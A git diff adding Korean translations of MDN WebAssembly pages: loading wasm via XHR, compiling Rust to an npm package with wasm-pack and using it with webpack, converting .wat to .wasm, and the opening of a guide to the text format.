+ <li>새로운 {{domxref("XMLHttpRequest()")}} 인스턴스를 만들고 {{domxref("XMLHttpRequest.open","open()")}} 메서드를 사용하여 요청을 열고 요청 메서드를 GET으로 설정합니다. , 가져올 파일의 경로를 선언하십시오.</li>
+ <li>핵심 부분은 {{domxref("XMLHttpRequest.responseType","responseType")}} 속성을 사용하여 응답 유형을 <code>'arraybuffer'</code>로 설정하는 것입니다.</li>
+ <li>그런 다음 {{domxref("XMLHttpRequest.send()")}}을 사용하여 요청을 전송합니다.</li>
+ <li>그런 다음 응답이 다운로드 완료되면 함수를 호출하기 위해 {{domxref("XMLHttpRequest.onload", "onload")}} 이벤트 핸들러를 사용합니다. 이 함수에서는 {{domxref("XMLHttpRequest.response", "response")}} 프로퍼티를 생성 한 다음, Fetch와 마찬가지로 {{jsxref("WebAssembly.instantiate()")}} 메소드로 넘겨 줍니다.</li>
+</ol>
+
+<p>최종코드는 다음과 같습니다.</p>
+
+<pre><code>request = new XMLHttpRequest();
+request.open('GET', 'simple.wasm');
+request.responseType = 'arraybuffer';
+request.send();
+
+request.onload = function() {
+  var bytes = request.response;
+  WebAssembly.instantiate(bytes, importObject).then(results =&gt; {
+    results.instance.exports.exported_func();
+  });
+};</code>
+</pre>
+
+<div class="note"><strong>Note</strong>: <a href="https://mdn.github.io/webassembly-examples/js-api-examples/xhr-wasm.html">xhr-wasm.html</a> 에서도 예제를 확인할 수 있습니다.</div>
diff --git a/files/ko/webassembly/rust_to_wasm/index.html b/files/ko/webassembly/rust_to_wasm/index.html
new file mode 100644
index 0000000000..7e51cc36ce
--- /dev/null
+++ b/files/ko/webassembly/rust_to_wasm/index.html
@@ -0,0 +1,295 @@
+---
+title: Rust를 WebAssembly로 컴파일하기
+slug: WebAssembly/Rust_to_wasm
+tags:
+  - rust
+  - 웹어셈블리
+  - 컴파일
+translation_of: WebAssembly/Rust_to_wasm
+---
+<div>{{WebAssemblySidebar}}</div>
+
+<p class="summary">여러분이 Rust 코드를 가지고 있다면 WebAssembly로 컴파일 할 수 있습니다. 이 튜토리얼은 Rust 프로젝트를 컴파일하여 기존 웹 애플리케이션에서 사용하기 위해 알아야 할 모든 것을 설명합니다.</p>
+
+<h2 id="Rust_및_WebAssembly_사용_사례">Rust 및 WebAssembly 사용 사례</h2>
+
+<p>Rust와 WebAssembly를 위한 두가지 주요 사용 사례가 있습니다.</p>
+
+<ul>
+ <li>어플리케이션 전체를 만드는것 - Rust기반 Web app 만들기</li>
+ <li>어플리케이션의 일부를 만드는것 - Rust를 기존에 존재하는 JavaScript frontend에서 사용하는것</li>
+</ul>
+
+<p>당분간, Rust 팀은 후자의 경우에 초점을 맞출 것입니다.그래서 여기서는 두번째 내용에 대해 다루겠습니다. 첫번째 use-case는 <a href="https://github.com/DenisKolodin/yew"><code>yew</code></a>와 같은 프로젝트를 한번 확인해보세요.</p>
+
+<p>이 튜토리얼에서는 Rust의 npm 패키지를 빌드하는 도구인 <code>wasm-pack</code>을 사용하여 npm 패키지를 빌드합니다. 이 패키지에는 WebAssembly 및 JavaScript 코드만 포함되므로 패키지 사용자는 Rust를 설치할 필요가 없습니다. 심지어 WebAssembly에서 작성된 것임을 알지 못할 수도 있습니다.</p>
+
+<h2 id="Rust_환경_설치">Rust 환경 설치</h2>
+
+<p>환경을 설치하기 위해 필요한 모든 단계를 수행해 봅시다.</p>
+
+<h3 id="Rust_설치">Rust 설치</h3>
+
+<p><a href="https://www.rust-lang.org/install.html">Install Rust</a>와 다음 설명에 따라 Rust를 설치합니다. "rustup"이라는 툴을 설치할건데 다양한 버전의 Rust를 관리할 수 있게 해줍니다. 기본적으로 최신 배포버전의 Rust가 설치됩니다. Rustup은 Rust 컴파일러인 <code>rustc</code> Rust의 표준 라이브러리 인 <code>rust-std</code>, Rust의 패키지 메니저 <code>cargo</code>및 <code>rust-docs</code> 등 유용한 문서를 설치합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: 설치를 완료한 뒤 cargo의 <code>bin</code> 디렉토리가 시스템의 <code>PATH</code>에 등록되어 있어야 함에 주의하십시오. 보통은 자동으로 등록되지만, 터미널을 재시작해야 할 수도 있습니다.</p>
+</div>
+
+<h3 id="wasm-pack">wasm-pack</h3>
+
+<p>패키지를 빌드하기 위해, <code>wasm-pack</code>이라는 추가적인 툴이 필요합니다. 이것을 통해 코드를 WebAssembly로 컴파일하고, <code>npm</code>에 적합한 패키징을 생성할 수 있습니다. 설치를 하려면 터미널에 다음 명령을 입력합니다.</p>
+
+<pre class="notranslate"><code>$ cargo install wasm-pack</code></pre>
+
+<h3 id="Node.js_설치와_npm_계정_생성">Node.js 설치와 npm 계정 생성</h3>
+
+<p>이 튜토리얼에서 우리는 npm 패키지를 생성할 것이므로 Node.js와 npm이 설치되어 있어야 합니다. 추가적으로, 우리는 npm에 패키지를 배포할 것이며 npm 계정 역시 필요합니다. 이것들은 모두 무료입니다. 당신은 <em>기술적으로는</em> 패키지를 배포할 필요가 없지만, 패키지를 사용하는 것이 더 쉬우므로 이 튜토리얼에서 수행한다고 가정합니다.</p>
+
+<p>Node.js와 npm을 설치하려면 <a href="https://www.npmjs.com/get-npm">Get npm!</a> 페이지를 열고 안내를 따라하시면 됩니다. 버전을 선택할 때, 원하는 것을 선택하면 됩니다. 이 튜토리얼은 버전과는 무관합니다.</p>
+
+<p>npm 계정을 만드려면 <a href="https://www.npmjs.com/signup">npm 가입 페이지</a> 에서 양식을 작성하시면 됩니다.</p>
+
+<p>그 다음은, 명령줄에서 <code>npm adduser</code> 명령을 실행합니다.</p>
+
+<pre class="notranslate"><code>$ npm adduser
+Username: yournpmusername
+Password:
+Email: (this IS public) you@example.com</code></pre>
+
+<p>계정명과 패스워드, 그리고 이메일을 입력하세요. 제대로 작동했다면, 다음 출력을 볼 수 있습니다.</p>
+
+<pre class="notranslate"><code>Logged in as yournpmusername on https://registry.npmjs.org/.</code></pre>
+
+<p>만약 제대로 되지 않았다면, 문제 해결을 위해 npm에 문의를 해보세요.</p>
+
+<h2 id="WebAssembly_npm_패키지_빌드하기">WebAssembly npm 패키지 빌드하기</h2>
+
+<p>설치가 다 되었으므로, Rust의 새 패키지를 만듭시다. 개인 프로젝트를 담는 디렉터리로 이동한 뒤, 다음 명령어를 입력합니다.</p>
+
+<pre class="notranslate"><code>$ cargo new --lib hello-wasm
+     Created library `hello-wasm` project</code></pre>
+
+<p>이 명령어는 <code>hello-wasm</code>으로 이름지어진 하위 디렉터리에 새 라이브러리를 생성합니다.</p>
+
+<pre class="notranslate"><code>+-- Cargo.toml
++-- src
+    +-- lib.rs</code></pre>
+
+<p>첫번째로, <code>Cargo.toml</code>은 빌드를 위해 설정하는 파일입니다. Bundler에서 <code>Gemfile</code>이나 npm에서 <code>package.json</code>을 써보셨다면 꽤 익숙할 것입니다. Cargo는 이것들과 비슷한 방식으로 작동합니다.</p>
+
+<p>다음은, Cargo가 <code>src/lib.rs</code>에 다음 Rust 코드를 생성했을 것입니다.</p>
+
+<pre class="notranslate"><code>#[cfg(test)]
+mod tests {
+    #[test]
+    fn it_works() {
+        assert_eq!(2 + 2, 4);
+    }
+}</code></pre>
+
+<p>우리는 이 테스트 코드를 사용하지 않을 것이므로, 삭제해도 좋습니다.</p>
+
+<h3 id="Rust로_무언가를_써보기">Rust로 무언가를 써보기</h3>
+
+<p><code>src/lib.rs</code>에 다음 코드를 적어봅시다.</p>
+
+<pre class="notranslate"><code>use wasm_bindgen::prelude::*;
+
+#[wasm_bindgen]
+extern {
+    pub fn alert(s: &amp;str);
+}
+
+#[wasm_bindgen]
+pub fn greet(name: &amp;str) {
+    alert(&amp;format!("Hello, {}!", name));
+}</code></pre>
+
+<p>이것은 우리의 Rust project의 내용으로, 세가지 주요 부분이 있습니다. 그들에 대해 차례대로 얘기해봅시다. 여기서는 고수준의 설명을 제공하고 일부 세부 사항에 대해서 설명합니다. Rust 언어에 대해 좀 더 배우고 싶으시면 <a href="https://doc.rust-lang.org/book/">The Rust Programming Language</a> 에서 확인하시면 됩니다.</p>
+
+<h4 id="Rust와_JavaScript간의_통신을_위한_wasm-bindgen_사용">Rust와 JavaScript간의 통신을 위한 <code>wasm-bindgen</code> 사용</h4>
+
+<p>첫 부분은 다음과 같습니다.</p>
+
+<pre class="notranslate"><code>use wasm_bindgen::prelude::*;</code></pre>
+
+<p>Rust에서 라이브러리는 크레이트(crate)라고 합니다.</p>
+
+<p>알 것 같나요? <em>Cargo(화물) </em>는 배에 <em>crate(상자) </em>들을 실어 나릅니다.</p>
+
+<p>세번째 줄의 <code>use</code> 키워드는 라이브러리로부터 코드를 불러옵니다. 이 경우, 우리는 <code>wasm_bindgen::prelude</code> 모듈 내에 있는 모든 것을 불러오게 됩니다. 다음 섹션에서 이것들의 기능에 대해 다룰 것입니다.</p>
+
+<p>다음 섹션으로 넘어가기 전에 <code>wasm-bindgen</code>에 대해 좀 더 얘기해야 합니다.</p>
+
+<p><code>wasm-pack</code>은 다른 도구인 <code>wasm-bindgen</code>을 사용해 JavaScript와 Rust의 타입들 사이에 다리를 제공합니다. 이는 JavaScript가 문자열을 통해 Rust의 API를 호출하거나, JavaScript의 예외를 포착하기 위해 Rust의 함수를 호출할 수 있습니다.</p>
+
+<p>우리는 패키지에서 <code>wasm-bindgen</code>의 기능을 사용할 것입니다. 실은, 그것들은 다음 섹션에 있습니다.</p>
+
+<h4 id="Rust에서_JavaScript의_외부함수_호출">Rust에서 JavaScript의 외부함수 호출</h4>
+
+<p>다음 부분은 이렇게 되어있을 것입니다.</p>
+
+<pre class="notranslate"><code>#[wasm_bindgen]
+extern {
+    pub fn alert(s: &amp;str);
+}</code></pre>
+
+<p><code>#[ ]</code> 안에 있는 것을 속성이라고 부르는데, 이것은 다음에 오는 구문을 수정합니다. 이 경우에, 그 구문은 <code>extern</code>이며, Rust에게 외부에 정의된 함수를 호출할 것임을 알립니다. 이 속성의 경우, "<code>wasm-bindgen</code>은 이 함수들을 어떻게 찾을 것인지 알고 있다"고 알리는 것입니다.</p>
+
+<p>세번째 줄의 함수 시그니처는 Rust로 작성되어있습니다. <code>alert</code> 함수는 문자열 타입의 <code>s</code> 하나를 인자로서 받는다는 의미입니다.</p>
+
+<p>짐작하셨듯이, 이것은 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/alert">JavaScript에 의해 제공되는 <code>alert</code> 함수</a>입니다. 다음 섹션에서 이 함수를 호출할 것입니다.</p>
+
+<p>JavaScript 함수를 호출하고 싶을 때면 언제든지 이들을 파일에 추가할 수 있으며, `wasm-bindgen`이 당신을 위해 그 모든 것을 설정할 것입니다. 아직 모든 것이 지원되지는 않지만, 우리는 노력하고 있습니다. 빠진 것이 있다면, <a href="https://github.com/rustwasm/wasm-bindgen/issues/new">버그를 제출해주십시오.</a> </p>
+
+<h4 id="JavaScript가_호출할_수_있는_Rust_함수_작성">JavaScript가 호출할 수 있는 Rust 함수 작성</h4>
+
+<p>마지막 부분은 여기 있습니다.</p>
+
+<pre class="notranslate"><code>#[wasm_bindgen]
+pub fn greet(name: &amp;str) {
+    alert(&amp;format!("Hello, {}!", name));
+}</code></pre>
+
+<p><code>#[wasm_bindgen]</code> 속성이 한번 더 나왔습니다. 이번엔 <code>extern</code> 구문이 수정되는 대신, <code>fn</code> 구문이 수정됩니다. 이것은 Rust 함수를 JavaScript에 의해 호출될 수 있도록 함을 의미하며, <code>extern</code> 과는 반대 기능이 됩니다. 이것은 우리가 필요로 하는 기능이 아니라, 우리가 세상에 제공하는 기능이 될 것입니다.</p>
+
+<p>이 함수의 이름은 <code>greet</code>이며, (<code>&amp;str</code> 이라고 쓰여진) 문자열 타입의 <code>name</code> 하나를 인자로 갖습니다. 이것은 우리가 위에 있는 <code>extern</code> 블록에서 요구한 <code>alert</code> 함수를 호출하여, 문자열을 연결하는 <code>format!</code> 매크로를 전달합니다.</p>
+
+<p><code>format!</code>매크로는 이 경우에 서식 문자열과 변수를 두개의 인자로 받습니다. 서식 문자열은 <code>"Hello, {}!"</code> 입니다. 이것은 두번째 인자의 변수를 표시할 <code>{}</code>를 담고 있습니다. 변수의 경우 함수의 인자로 전달받은 <code>name</code>을 전달하므로, 우리가 <code>greet("Steve")</code>를 호출하였다면 매크로는 <code>"Hello, Steve!"</code>를 반환할 것입니다.</p>
+
+<p>이것은 <code>alert()</code>에 인자로 전달되므로, 이 함수를 호출한다면 우리는 브라우저의 경고창에서 "Hello, Steve!"를 볼 수 있을 것입니다.</p>
+
+<p>라이브러리가 모두 작성되었으므로, 빌드를 해봅시다.</p>
+
+<h3 id="작성된_코드를_WebAssembly로_컴파일">작성된 코드를 WebAssembly로 컴파일</h3>
+
+<p>컴파일이 올바르게 되려면, 먼저 <code>Cargo.toml</code>에서 설정을 해줘야 합니다. 파일을 열면, 다음과 같은 내용이 있을 것입니다.</p>
+
+<pre class="notranslate"><code>[package]
+name = "hello-wasm"
+version = "0.1.0"
+authors = ["Your Name &lt;you@example.com&gt;"]
+description = "A sample project with wasm-pack"
+license = "MIT/Apache-2.0"
+repository = "https://github.com/yourgithubusername/hello-wasm"
+
+[lib]
+crate-type = ["cdylib"]
+
+[dependencies]
+wasm-bindgen = "0.2"</code></pre>
+
+<p>리포지토리 이름을 작성하고, <code>author</code> 필드를 <code>git</code>이 사용하는 것과 같게 설정해주세요.</p>
+
+<p>추가해야 할 커다란 부분은 아래에 있습니다. <code>[lib]</code> 섹션은 패키지를 <code>cdylib</code> 형식으로 빌드할 것이라고 Rust에게 알리는데, 이 튜토리얼에선 그 의미가 무엇인지 다루지 않을 것입니다. 자세한 설명은 <a href="https://doc.rust-lang.org/cargo/guide/">Cargo</a> 와 <a href="https://doc.rust-lang.org/reference/linkage.html">Rust Linkage</a> 문서를 참조하십시오.</p>
+
+<p>마지막의 <code>[dependencies]</code> 섹션에서, Cargo에게 어떤 버전의 <code>wasm-bindgen</code>에 의존하고 있는지 알립니다. 이 경우, 버전 <code>0.2.z</code>는 어떤 것이든 사용할 수 있지만, <code>0.3.0</code>이상부터는 사용하지 않습니다.</p>
+
+<h3 id="패키지_빌드하기">패키지 빌드하기</h3>
+
+<p>모든 셋팅이 끝났으므로, 패키지를 빌드합시다. 터미널에 다음을 입력합니다.</p>
+
+<pre class="notranslate"><code>$ wasm-pack build --scope mynpmusername</code></pre>
+
+<p>이 명령어를 입력하면 많은 일이 일어납니다. (그리고 특히 <code>wasm-pack</code>을 처음 실행했을 때 처럼 많은 시간이 걸립니다.) 이에 대한 자세한 사항을 알고 싶으면, <a href="https://hacks.mozilla.org/2018/04/hello-wasm-pack/">Mozilla Hacks의 블로그 포스트</a>를 확인해보세요. 간단히 요약하자면, <code>wasm-pack build</code>는:</p>
+
+<ol>
+ <li>Rust 코드를 WebAssembly로 컴파일 합니다.</li>
+ <li>그 WebAssembly 위에서 <code>wasm-bindgen</code>을 실행하여, WebAssembly를 npm이 이해할 수 있는 모듈로 감싸는 JavaScript 파일을 생성합니다.</li>
+ <li><code>pkg</code> 디렉터리를 만들고 JavaScript 파일과 WebAssembly 코드를 그 안으로 옮깁니다.</li>
+ <li><code>Cargo.toml</code>을 읽고 동등한 <code>package.json</code>을 생성합니다.</li>
+ <li><code>README.md</code>가 있다면 패키지로 복사합니다.</li>
+</ol>
+
+<p>빌드가 끝났다면, <code>pkg</code> 디렉터리에 npm 패키지가 생성될 것입니다.</p>
+
+<h4 id="코드_사이즈에_대한_오류">코드 사이즈에 대한 오류</h4>
+
+<p>생성된 WebAssembly 코드의 크기를 확인해보면, 몇백 킬로바이트가 될 것입니다. 우리는 Rust에게 코드의 크기를 최적화하라고 지시하지 않았으며, 만약 그렇게 지시한다면 크기가 <em>많이</em> 줄어들 것입니다. 이것은 이 튜토리얼에서 다루는 내용을 벗어나지만, 자세한 내용을 보려면 <a href="https://rustwasm.github.io/book/game-of-life/code-size.html#shrinking-wasm-size">Shrinking .wasm Size</a>에 대한 Rust WebAssembly Working Group의 문서를 참조하십시오.</p>
+
+<h3 id="npm에_패키지_배포">npm에 패키지 배포</h3>
+
+<p>npm에 우리의 새 패키지를 배포해봅시다.</p>
+
+<pre class="notranslate"><code>$ cd pkg
+$ npm publish --access=public</code></pre>
+
+<p>우리는 이제 Rust로 쓰여졌으나, WebAssembly로 컴파일된 npm 패키지를 갖고 있습니다. 이것은 JavaScript에 쓰일 수 있도록 준비되었으며, 다른 사용자들은 Rust를 설치할 필요가 없습니다. 왜냐하면 패키지에는 WebAssembly 코드만 포함되어있으며, Rust 소스는 없기 때문입니다.</p>
+
+<h2 id="웹상의_패키지_사용하기">웹상의 패키지 사용하기</h2>
+
+<p>우리의 새 패키지를 사용하는 웹사이트를 빌드해봅시다. 많은 사람들이 여러가지 번들러 도구를 사용해 npm패키지를 사용하는데, 이 튜토리얼에선 이들 중 하나인 <code>webpack</code>을 사용할 것입니다. 이것은 조금 복잡하고, 현실적인 사용 사례를 보여줄 것입니다.</p>
+
+<p><code>pkg</code> 와 <code>hello-wasm</code> 디렉터리를 빠져나가서, 다음처럼 <code>site</code>라는 이름의 새 디렉터리를 만들고 진입합니다.</p>
+
+<pre class="notranslate"><code>$ cd ../..
+$ mkdir site
+$ cd site</code></pre>
+
+<p><code>package.json</code> 이라는 이름의 새 파일을 만들어, 다음 코드를 작성합니다.</p>
+
+<pre class="notranslate"><code>{
+  "scripts": {
+    "serve": "webpack-dev-server"
+  },
+  "dependencies": {
+    "@mynpmusername/hello-wasm": "^0.1.0"
+  },
+  "devDependencies": {
+    "webpack": "^4.25.1",
+    "webpack-cli": "^3.1.2",
+    "webpack-dev-server": "^3.1.10"
+  }
+}</code></pre>
+
+<p><code>dependencies</code> 섹션에서 <code>@</code> 뒤에 실제 npm 계정명을 넣어주세요.</p>
+
+<p>그 다음은 Webpack을 설정해야 합니다. <code>webpack.config.js</code> 파일을 만든 뒤, 다음 코드를 작성합니다.</p>
+
+<pre class="notranslate"><code>const path = require('path');
+module.exports = {
+  entry: "./index.js",
+  output: {
+    path: path.resolve(__dirname, "dist"),
+    filename: "index.js",
+  },
+  mode: "development"
+};</code></pre>
+
+<p>그리고 HTML 파일도 필요합니다. <code>index.html</code>을 만들고, 다음 내용을 작성합니다.</p>
+
+<pre class="notranslate"><code>&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;hello-wasm example&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;script src="./index.js"&gt;&lt;/script&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</code></pre>
+
+<p>마지막으로, HTML에서 참조되는 <code>index.js</code>를 만들어 다음 내용을 작성합니다.</p>
+
+<pre class="notranslate"><code>const js = import("./node_modules/@yournpmusername/hello-wasm/hello_wasm.js");
+js.then(js =&gt; {
+  js.greet("WebAssembly");
+});</code></pre>
+
+<p>npm 계정명을 한번 더 입력해야 합니다.</p>
+
+<p>이것은 <code>node_modules</code> 폴더에 있는 새 모듈을 불러옵니다. 이것은 모범 사례로 여겨지진 않지만, 데모이므로 지금은 괜찮습니다. 모듈이 로드되었면, 모듈로부터 <code>greet</code> 함수를 호출하여 <code>"WebAssembly"</code> 를 문자열로서 전달합니다. 여기엔 특별한 것이 없지만, Rust 코드를 호출한 방법에 주목해주세요. JavaScript 코드가 알 수 있는 한, 이것은 그저 정상적인 모듈일 뿐입니다.</p>
+
+<p>파일들을 모두 만들었으니, 한번 보도록 합시다.</p>
+
+<pre class="notranslate"><code>$ npm install
+$ npm run serve</code></pre>
+
+<p>이것은 간단한 웹 서버를 시작합니다. <a href="http://localhost:8080/">http://localhost:8080</a>을 열면 화면에 <code>Hello, WebAssembly!</code> 라고 쓰여진 alert box가 나타납니다. 우리는 성공적으로 JavaScript로부터 Rust를, Rust로부터 JavaScript를 호출하였습니다.</p>
+
+<h2 id="결론">결론</h2>
+
+<p>이것이 튜토리얼의 끝입니다. 우리는 당신이 이것이 쓸모있다는 것을 알게 되었길 기대합니다.</p>
+
+<p>여기에 많은 흥미로운 작업이 진행되고 있습니다. 이것을 좀 더 낫게 만들고 싶다면, <a href="http://fitzgeraldnick.com/2018/02/27/wasm-domain-working-group.html">the Rust Webassembly Working Group</a>을 확인해보세요.</p>
diff --git a/files/ko/webassembly/text_format_to_wasm/index.html b/files/ko/webassembly/text_format_to_wasm/index.html
new file mode 100644
index 0000000000..b2912f26eb
--- /dev/null
+++ b/files/ko/webassembly/text_format_to_wasm/index.html
@@ -0,0 +1,65 @@
+---
+title: Converting WebAssembly text format to wasm
+slug: WebAssembly/Text_format_to_wasm
+translation_of: WebAssembly/Text_format_to_wasm
+---
+<div>{{WebAssemblySidebar}}</div>
+
+<p class="summary">WebAssembly에는 S- expression 기반의 텍스트 표현, 텍스트 편집기, 브라우저 개발자 도구 등에서 노출되도록 고안된 중간 양식이 있습니다.이 기사에서는 어떻게 작동하는지, 텍스트 형식 파일을 <code>.wasm</code> 어셈블리 형식으로 변환할 수 있는 도구를 사용하는 방법에 대해 설명합니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 텍스트 형식 파일은 대개 <code>.wat</code> 확장자로 저장됩니다. 때로는 <code>.wast</code>도 사용됩니다.이 파일은 변환 할 때 <code>.wast</code>으로 변환되지 않는 파일에 허용되는 추가 테스트 명령을 포함하는 파일을 가리 킵니다 - assertions 등</p>
+</div>
+
+<h2 id="A_first_look_at_the_text_format">A first look at the text format</h2>
+
+<p>이 간단한 예제를 보자 - 다음 프로그램은 <code>imports</code>라는 모듈에서 <code>imported_func</code>라는 함수를 가져오고 <code>exported_func</code>라는 함수를 내 보냅니다.</p>
+
+<pre>(module
+  (func $i (import "<code>imports</code>" "<code>imported_func</code>") (param i32))
+  (func (export "exported_func")
+    i32.const 42
+    call $i
+  )
+)</pre>
+
+<p>WebAssembly 함수 <code>exported_func</code>는 Google 환경에서 사용하기 위해 내보내집니다 (예 : WebAssembly 모듈을 사용하는 웹 앱). 이 함수를 호출하면 <code>imported_func</code>라는 가져온 JavaScript 함수가 호출됩니다.이 함수는 매개 변수로 제공된 값 (42)으로 실행됩니다.</p>
+
+<h2 id="Converting_the_text_.wat_into_a_binary_.wasm_file">Converting the text .wat into a binary .wasm file</h2>
+
+<p>위의 <code>.wat</code> 텍스트 표현 예제를 <code>.wasm</code> 어셈블리 형식으로 변환 해 봅시다.</p>
+
+<ol>
+ <li>시작하려면 <code>simple.wat</code> 라는 텍스트 파일 안에 위의 목록을 복사하십시오. </li>
+ <li>이 텍스트 표현을 우리가 사용하기 전에 브라우저가 실제로 읽는 어셈블리 언어로 어셈블해야합니다. 이를 위해 wabt 도구를 사용할 수 있습니다.이 도구에는 WebAssembly의 텍스트 표현과 wasm을 변환하는 컴파일러가 포함되어 있으며 그 반대의 경우도 가능합니다. <a href="https://github.com/webassembly/wabt">https://github.com/webassembly/wabt</a>로 이동 -이 페이지의 지침에 따라 도구를 설정하십시오.</li>
+ <li>일단 도구를 만들었 으면 시스템 <code>PATH</code>에 <code>/wabt/out/clang/Debug</code> 디렉토리를 추가하십시오.</li>
+ <li>그런 다음, wat2wasm 프로그램을 실행하여 입력 파일의 경로와 <code>-o</code> 매개 변수 다음에 출력 파일의 경로를 전달하십시오.
+  <pre class="brush: bash">wat2wasm simple.wat -o simple.wasm</pre>
+ </li>
+</ol>
+
+<p>wasm을 <code>.wasm</code> 어셈블리 코드가 들어있는 <code>simple.wasm</code> 파일로 변환합니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: wasm2wat 도구를 사용하여 어셈블리를 다시 텍스트 표현으로 변환 할 수도 있습니다. 예 : <code>wasm2wat simple.wasm -o text.wat</code>.</p>
+</div>
+
+<h2 id="Viewing_the_assembly_output">Viewing the assembly output</h2>
+
+<p>출력 파일은 어셈블리 기반이므로 일반 텍스트 편집기에서는 볼 수 없습니다. 그러나 wat2wasm 도구의 <code>-v</code> 옵션을 사용하여 볼 수 있습니다. 아래 코드를 실행해 보세요:</p>
+
+<pre class="brush: bash">wat2wasm simple.wat -v</pre>
+
+<p>이렇게하면 다음과 같은 방법으로 터미널에 출력을 줄 수 있습니다.</p>
+
+<p><img alt="several strings of binary with textual descriptions beside them. For example: 0000008: 01 ; section code " src="https://mdn.mozillademos.org/files/14653/assembly-output.png" style="display: block; margin: 0px auto;"></p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/ko/docs/WebAssembly/Understanding_the_text_format">Understanding WebAssembly text format</a> — 텍스트 형식 구문에 대한 자세한 설명.</li>
+ <li><a href="/ko/docs/WebAssembly/C_to_wasm">Compiling from C/C++ to WebAssembly</a> — Binaryen / Emscripten과 같은 도구는 소스 코드를 wasm으로 컴파일하고 JavaScript 컨텍스트에서 모듈을 실행하는 데 필요한 API 코드를 만듭니다. 그들을 사용하는 방법에 대해 자세히 알아보십시오.</li>
+ <li><a href="/ko/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a> — WebAssembly API 코드가 작동하는 방식에 대해 자세히 알고 싶다면이 내용을 읽으십시오.</li>
+ <li><a href="https://github.com/WebAssembly/design/blob/master/TextFormat.md">Text format</a> — WebAssembly GitHub repo에서 텍스트 형식에 대한 자세한 설명.</li>
+ <li><a href="https://github.com/xtuc/webassemblyjs/tree/master/packages/wast-loader">wast-loader</a> — 이 모든 것을 처리하는 WebPack 용 로더입니다.</li>
+</ul>
diff --git a/files/ko/webassembly/understanding_the_text_format/index.html b/files/ko/webassembly/understanding_the_text_format/index.html
new file mode 100644
index 0000000000..45947c12ba
--- /dev/null
+++ b/files/ko/webassembly/understanding_the_text_format/index.html
@@ -0,0 +1,607 @@
+---
+title: Understanding WebAssembly text format
+slug: WebAssembly/Understanding_the_text_format
+tags:
+  - 공유 주소
+  - 메모리
+  - 웹어셈블리
+  - 자바스크립트
+  - 테이블
+  - 텍스트 포맷
+  - 함수
+translation_of: WebAssembly/Understanding_the_text_format
+---
+<div>{{WebAssemblySidebar}}</div>
+
+<p class="summary">사람이 WebAssembly를 읽고 편집 할 수 있게하려면 wasm 이진 형식의 텍스트 표현이 있어야합니다. 이것은 텍스트 편집기, 브라우저 개발자 도구 등에서 노출되도록 고안된 중간 양식입니다.이 장에서는 원시 구문과 텍스트 형식이 나타내는 기본 바이트 코드와 관련하여 Text format이 작동하는 방식과 자바 스크립트에서 wasm을 나타내는 객체 래퍼에 대해 설명합니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 여기서 다루는 내용은 여러분이 웹어셈블리를 자바스크립트에 바로 불러오는 이전의 방법보다 훨씬 어렵습니다.(<a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">웹어셈블리를 자바스크립트 API에 사용하기</a> 참고), 하지만 여기서 배우는 내용을 통해 웹어셈블리 모듈을 작성해보면, 자바스크립트 라이브러리의 성능을 향상시킬수 있는 방법을 찾거나, 직접 웹어셈블리 컴파일러를 작성하는데 도움이 될 것입니다.</p>
+</div>
+
+<h2 id="S-expressions">S-expressions</h2>
+
+<p>WebAssembly에서 바이너리와 텍스트 사이에 기본적인 코드 교환 방식을 모듈이라 칭합니다. 텍스트 형식에서는, 모듈은 하나의 큰 S-expressions로 표현됩니다. S-expressions는 트리를 텍스트 형식으로 묘사하는 오래되고 쉬운 방법입니다. 모듈을 모듈의 구조와 코드로 표현되는 노드의 트리를 작성하기 위한 수단으로 생각하시면 됩니다. 추상적인 문법을 가진 개발 언어와는 다르게 웹어셈블리의 트리는 단순하면서 일반적으로 많이 사용하는 방식으로 구성되었습니다. </p>
+
+<p> </p>
+
+<p>우선, S- expressions이 어떻게 보이는지 봅시다. 트리의 각 노드는 한 쌍의 괄호<code>( ... )</code> 안에 있습니다. 괄호 안의 첫 번째 레이블은 노드의 유형을 알려주고, 그 후에 속성 또는 하위 노드의 공백으로 구분 된 목록이 있습니다. 즉, WebAssembly S-expression을 의미합니다.</p>
+
+<pre>(module (memory 1) (func))</pre>
+
+<p>모듈이라는 최상위 노드와 2개의 자식 노드를 가진 트리로 구성되었습니다. 그리고 "메모리" 노드에서는 1이라는 속성으로 "함수" 노드를 지칭하였습니다. 이제 이 표현식이 가지는 의미를 간단하게 알아보겠습니다.</p>
+
+<p> </p>
+
+<h3 id="간단한_모듈">간단한 모듈</h3>
+
+<p>가장 간단하고, 작동 가능한 wasm 모듈 작성을 시작합니다.</p>
+
+<pre>(module)</pre>
+
+<p>이 모듈은 전체적으로 비어 있지만 올바르게 작동하는 모듈입니다.</p>
+
+<p>만약 이 모듈을 바이너리로 전환하면,(<a href="/ko/docs/WebAssembly/Text_format_to_wasm">웹어셈블리 텍스트 형식을 wasm으로 변환</a> 참조), 우리는 8바이트짜리 모듈 헤더를 <a href="http://webassembly.org/docs/binary-encoding/#high-level-structure">이진 형식</a>으로 보게 될 것입니다.</p>
+
+<pre>0000000: 0061 736d              ; WASM_BINARY_MAGIC
+0000004: 0d00 0000              ; WASM_BINARY_VERSION</pre>
+
+<h3 id="Adding_functionality_to_your_module">Adding functionality to your module</h3>
+
+<p>별로 흥미롭지 않은 모양이군요. 그렇다면 한번 실행 가능한 모듈을 작성해 보도록 하겠습니다.</p>
+
+<p> </p>
+
+<p>webassembly 모듈의 모든 코드는 다음과 같은 의사 코드 구조를 갖는 함수로 구성되어있습니다.</p>
+
+<pre>( func &lt;signature&gt; &lt;locals&gt; &lt;body&gt; )</pre>
+
+<ul>
+ <li>명칭(<strong>signature)</strong>은 함수에서 (인자를)받고 (반환 값)반환하는 형식을 정의합니다.</li>
+ <li>지역인수(<strong>locals)</strong>는 자바스크립트의 변수 같지만, 명시적으로 형식을 정의합니다.</li>
+ <li>본문(<strong>body)</strong>은 저수준 정의를 일렬로 나열한 목록입니다.</li>
